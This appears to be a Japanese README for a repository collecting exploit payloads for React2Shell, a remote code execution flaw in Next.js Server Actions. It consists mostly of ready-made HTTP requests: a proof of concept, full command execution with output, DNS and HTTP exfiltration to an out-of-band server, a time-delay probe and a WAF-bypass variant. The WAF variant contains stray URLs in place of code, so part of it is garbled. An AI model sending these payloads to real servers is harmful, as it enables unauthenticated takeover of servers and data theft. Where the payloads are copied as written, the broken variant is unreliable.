REACT2SHELL (CVE-2025-55182)

React2Shell (CVE-2025-55182) は、Server Actions を利用する Next.js アプリケーションに影響を与える重大なリモートコード実行（RCE）脆弱性チェーンです。この脆弱性は、プロトタイプ汚染と Server Actions を組み合わせて、認証なしでサーバー上で任意のコードを実行するものです。

このリポジトリは、React2Shell のペイロードとバイパス方法を共有するためのものです。PRやコントリビューションはいつでも歓迎します！

リソース

以下は役立つ追加リソースです：

• Assetnote による React2Shell スキャナー: https://github.com/assetnote/react2shell-scanner
• Nuclei テンプレート: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-55182.yaml

ペイロード

最初の概念実証

初期の概念実証の開示は @maple3142 に帰属します。詳細はこちらの GitHub Gist で確認できます。

POST / HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Length: 459

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--

エラーメッセージ（digest フィールド）を介した出力付きの完全な RCE

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var res=process.mainModule.require('child_process').execSync('id').toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

外部 DNS クエリのトリガー

<OAST_SERVER> をあなたの OAST サーバーのホスト名に置き換えてください。

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('nslookup <OAST_SERVER>');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

DNS データ流出

<OAST_SERVER> をあなたの OAST サーバーのホスト名に置き換えてください。

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('nslookup `whoami`.<OAST_SERVER>');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

HTTP データ流出

<OAST_SERVER> をあなたの OAST サーバーのホスト名に置き換えてください。

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('wget http://<OAST_SERVER>/?e=$`id`');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

時間遅延のトリガー

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36
Next-Action: x
X-Nextjs-Request-Id: 9k4m8n2p
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX7jK9mP2qR3vN4wL
X-Nextjs-Html-Request-Id: intigriti
Content-Length: 623

------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('sleep 10');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="1"

"$@0"
------WebKitFormBoundaryX7jK9mP2qR3vN4wL
Content-Disposition: form-data; name="2"

[]
------WebKitFormBoundaryX7jK9mP2qR3vN4wL--

文字列連結とエンコーディングによる WAF 回避

POST /en HTTP/2
Host: example.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: m9x4k7p2
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
X-Nextjs-Html-Request-Id: R8tY5uI2oP6aS3dF
Content-Length: 750

------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
Content-Disposition: form-data; name="0"

{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\"then\":\"$B1337\"}","_response":{"_prefix":"var c='child'+'_'+'pro'+'cess';var e='exec'+'Sync';var cp=process['main'+'Module']['require'](https://github.com/aseemyash/krle/blob/main/c);var cmd='who'+'ami';var res=cp[e](https://github.com/aseemyash/krle/blob/main/cmd)['to'+'String']();throw Object['assign'](new Error('NEXT'+'_'+'REDIRECT'),{digest:res});","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryD5fG8hJ3kL6mN9pQ
Content-Disposition: form-data; name="1"